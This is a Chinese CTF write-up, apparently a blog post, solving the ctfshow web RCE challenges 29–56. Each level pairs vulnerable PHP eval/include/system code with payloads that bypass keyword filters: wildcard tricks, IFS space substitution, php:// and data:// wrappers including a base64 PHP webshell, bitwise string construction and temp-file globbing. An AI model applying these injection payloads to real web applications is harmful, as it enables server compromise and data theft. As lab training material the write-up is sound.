RCE练习题(ctfshow)

目录

例29 简单过滤

例30

例31过滤空格

 例32-36 php伪协议(filter)

​编辑 例37(data,input)

例38

例39 data伪协议闭合

 例40 无参函数链

例41构造字符串(过滤数字字母)

例42 命令分隔(;,||,&&,&)

例43

例44

例45

例46-49

​编辑例50-51 连接命令("",',\.`)

例 52

例53

例54 命令绝对路径

例55 过滤字母

例56 过滤字母及数字


 

例29 简单过滤

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

说明:

这段代码的正则限制了flag字符的输入

思路:

可以用系统命令,然后用通配符*或?来读取文件

payload:

  • ?c=system("ls");
  • ?c=system("cat fla*");    //过滤了flag

结果:

例30

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

说明:

新增过滤system和php

思路:

除了system还有很多执行系统命令的函数,先用反引号尝试。

payload:

?c=echo `tac fl*`;

用?>闭合eval()函数

例31过滤空格

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

说明:

过滤了空格

  • 思路一:寻找其他命令执行函数

利用passthru()来代替system():

payload:

?c=passthru($_GET[a]);&a=tac flag.php

ps:使用反引号不会回显数据,但是可以执行其他命令。比如ls>1.txt ,来获取文件名。

  • 思路二:用其他字符代替空格

用%09(Tab)来替换空格:

payload:

echo%09`tac%09fla*`;

使用${IFS}来替换空格:

payload:

?c=echo%0a`tac\${IFS}fla*`;

反引号里面的是linux命令,可以用linux中能替换空格的字符代替空格,而反引号外面的php代码,不能用${IFS}来代替空格。

在linux 空格可以用以下字符串代替:
%09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、< 、<>、%20(space)等
//<>需要写的权限 

$IFS$9可以用system('tac$IFS$9fla*');执行(这里$在单引号中起作用,双引号会由于有$,会解析变量,需要用转义符号)。

注:在使用``或者system这些命令,带有$的内容替换时,要注意转义(加上\),因为$在php中有特殊含义

  • 思路三:使用无参数函数链调用 

payload:

?c=show_source(array_rand(array_flip(scandir(getcwd()))));

scandir()获取当前目录文件后返回数组,array_flip()交换数组的键和值,array_rand()随机取出数组键。需要多次刷新页面。

 例32-36 php伪协议(filter)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 

 说明:

过滤了空格可以用${IFS}%0a 代替,分号可以用?>代替
但是过滤了括号之后就不能用带有括号的函数,php中include是可以不带括号的函数

payload:

?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

 例37(data,input)

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

说明:

过滤了flag关键字,使用include来包含文件,如果用php://filter读取需要完整的文件名,考虑用其他的伪协议,如data://,php://input。

注:data://需要双on条件:

allow_url_fopen :on

allow_url_include:on

payload:

  • 1.使用data://伪协议 

?c=data://text/plain,<?=system("tac f*");?>

    payload:

    • 2.使用data://伪协议的Base64编码

    ?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==

    Base64:<?php eval($_POST[1]); ?>

    paylaod:

    • 3.使用php:input//

    ?c=php://input

    <?php system("tac flag*");

    例38

    <?php
    //flag in flag.php
    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag|php|file/i", $c)){
            include($c);
            echo $flag;
        
        }
            
    }else{
        highlight_file(__FILE__);
    }
    

    说明:

    限制了php,file,flag

    思路:

    和上一关一样,继续用data://

    也可以尝试用日志包含

    例39 data伪协议闭合

    <?php
    //flag in flag.php
    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag/i", $c)){
            include($c.".php");
        }
            
    }else{
        highlight_file(__FILE__);
    } 

    说明:

    include新增参数.php

    思路:

    如果data://协议中的php代码标签是完整闭合的,不会受到后面.php的影响

    payload:

    ?c=data://text/plain,<?=system("tac%20f*");?>

     例40 无参函数链

    <?php
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
            eval($c);
        }
            
    }else{
        highlight_file(__FILE__);
    }

    说明:

    过滤了很多符号,php伪协议,system(需要引号包裹系统命令),反引号等都用不了了,但是过滤的括号是中文括号

    思路:

    使用无参函数链

    打印一下get_defined_vars(),这个参数可以获得http头部信息。

    可以考虑post传参的方式。

     payload:

    ?c=eval(current(next(get_defined_vars())));

    post:1=readfile("flag.php");

    例41构造字符串(过滤数字字母)

    <?php
    if(isset($_POST['c'])){
        $c = $_POST['c'];
    if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
            eval("echo($c);");
        }
    }else{
        highlight_file(__FILE__);
    }
    ?> 
    

    思路:

    这种全过滤,反倒是只有一种解法,就是构造字符串

    & 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符

    从不属于正则中的字符中(比如不可见字符) ,选取两个做位运算,得到需要的字符。

    payload:

    php版本需要在7.0以上,支持动态调用函数,可以把函数包裹在括号中。

    c=("%10%01%13%13%14%08%12%15"|"%60%60%60%60%60%60%60%60")("%14%01%03%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
    
    //(passthru)(tac flag.php)

    实测如果使用POST传参(system)(ls)会报错,原因可能是m会转换为%0d|%60,%0d是回车符导致POST不能完整接参。

    GET接参和POST接参对比:

    %0d换成%2d可以成功执行函数,但是%2d是"-",被过滤掉了,所以只能换命令函数(passthru)了

    POST传参报错:

    附“m”进行或运算的可用符号:

    构造字符函数的博客:ctfshow-web入门命令执行-web40/web41(附python脚本) - Aninock - 博客园

    例42 命令分隔(;,||,&&,&)

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        system($c." >/dev/null 2>&1");
    }else{
        highlight_file(__FILE__);
    } 

    知识点:在 Linux/Unix 系统中,/dev/null 是一个特殊的 虚拟设备文件,通常被称为 “黑洞”“空设备”。它的核心作用是 丢弃所有写入它的数据,并 立即返回读取 EOF(文件结束)

    • >/dev/null:将正常结果丢弃(写入黑洞设备 /dev/null)。
    • 2>&1:将错误信息也重定向到 stdout 的当前目标(即 /dev/null)。

    最终结果是:静默执行,所有输出(包括错误)都被丢弃,不会显示在终端或日志中。

    所以直接用tac flag.php是不会回显内容的

    知识点:在 Linux 中,可以通过多种方式 一次执行多个命令,可以通过一些符号将命令分隔,这样后面的>/dev/null就不会起作用

    可以分隔命令的符号:";"分号,&&逻辑与,||逻辑或,"&"

    &需要用url编码

    payload:

    • tac f*;
    • tac f*%26
    • tac f*||
    • tac f*%26%26

    例43

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 

    说明:

    新增过滤cat和分号

    思路:

    与例42一致,不使用分号即可

    例44

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/;|cat|flag/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 

    说明:

    新增过滤flag

    思路:

    flag用通配符代替,与例42一致

    例45

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| /i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 

    说明:

    新增过滤空格

    思路:

    用linux中可替代空格的符号,绕过空格的过滤

    payload:

    payload:?c=tac$IFS$9f*||
    payload:?c=tac<fl'ag'.php||
    payload:?c=tac${IFS}f*||
    payload:?c=tac<>fl'ag'.php||
    payload:?c=tac%09f*||

    例46-49

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 

    说明:

    过滤了一些查看文件的命令,但是tac仍然没有过滤,过滤了$字符和*字符,空格不能使用${IFS}以及文件匹配不能用通配符*

    思路:

    还是用之前的技巧,空格使用%09代替,通配符换成"?"问号,或者在文件名中间插入引号。

    payload:

    ?c=tac%09fl''ag.php||   //文件名中间插入双引引号
    ?c=tac%09fl\ag.php||   //文件名中间插入反斜杠
    ?c=tac%09fl``ag.php||  //文件名中间插入单引号
    ?c=tac%09fla?.php||     //文件名用?来匹配

    例50-51 连接命令("",',\.`)

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    } 

    说明:

    新增过滤tac,%09以及%26,不知为何,通配符?问号用不了。

    思路:

    使用其他查看文件的命令,如nl,或者用\,"",'',来连接命令

    payload:

    ?c=nl<fla\g.php||

    ?c=t''a""c<>fl\ag.php||

    例 52

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }

    说明:

    过滤尖括号但是不过滤$符了

    思路:

    用${IFS}绕过

    payload:

    nl${IFS}fla\g.php||

    例53

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
            echo($c);
            $d = system($c);
            echo "<br>".$d;
        }else{
            echo 'no';
        }
    }else{
        highlight_file(__FILE__);
    }

    说明:

    和上一题一样,但是不用加"||"了

    payload:

    ?c=nl${IFS}fla\g.php
    ?c=ta$@c${IFS}fla\g.php
    $@是空字符

    例54 命令绝对路径

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c);
        }
    }else{
        highlight_file(__FILE__);
    } 

    说明:

    用通配符过滤命令,之前的ta""c就不行了

    思路:

    • 用命令的绝对路径去读文件
    • 也可以用cp和mv命令,复制或者修改文件名来读取。

    payload:

    ?c=find${IFS}/${IFS}-name${IFS}hea?  //查询head命令存放路径

    ?c=/usr/bin/hea?${IFS}f?ag.php        //使用head命令读文件

    注意|.*n.*l.*|这个正则的过滤

    例55 过滤字母

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c);
        }
    }else{
        highlight_file(__FILE__);
    }

    说明:

    过滤了字母。

    思路:

    • 执行上传文件时的临时文件
    • 使用base64匹配

    知识点:

    linux中的通配符除了*和?,还可以用[start-end] 来表示。

    [start-end]是通配符的标准语法,按照ASCII字符顺序匹配从 start 到 end 范围内的任意单个字符。

    比如[@-[]就是匹配所有的大写字母,[`-{]匹配小写字母

    paylaod:

    1.使用base64匹配

    ?c=/???/????64 ????.???                     //也就是?c=/bin/base64 flag.php

    但是由于存在一个类似格式的文件x86_64,所以base64会匹配失败

     

    观察base64与x86_64的区别,x86_64的第二位和第三位都是数字,所以可以在第二位或者第三位匹配小写字母的方式区分两位。

     由于过滤了反引号,只能找反引号之前的一位"_"来做左区间。

    payload:

    ?c=/???/??[_-{]?64%20????????

    如果linux中有bzip2,也可以尝试。

    2.匹配临时文件

    知识点:

    php上传文件时会把文件保存到临时目录下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母或者数字

    直接使用ls /???/?????????会出现一大堆文件,但是这些文件都是小写,而php临时文件可以包含大写字母,所以可以构建大写字母绕过。

    payload:

    c=.+/???/???????[@-[]? //在倒数第二位匹配大写字母

    需要构建一个上传文件类型的包:

    /tmp目录下有一个干扰文件: /tmp/VMwareDnD,所以不能在最后一个位置上匹配大写字母。

    参考文章:无字母数字webshell之提高篇

    例56 过滤字母及数字

    <?php
    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c);
        }
    }else{
        highlight_file(__FILE__);
    }

    说明:

    新增过滤数字

    思路:

    只能用上一题的临时文件匹配了。

    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值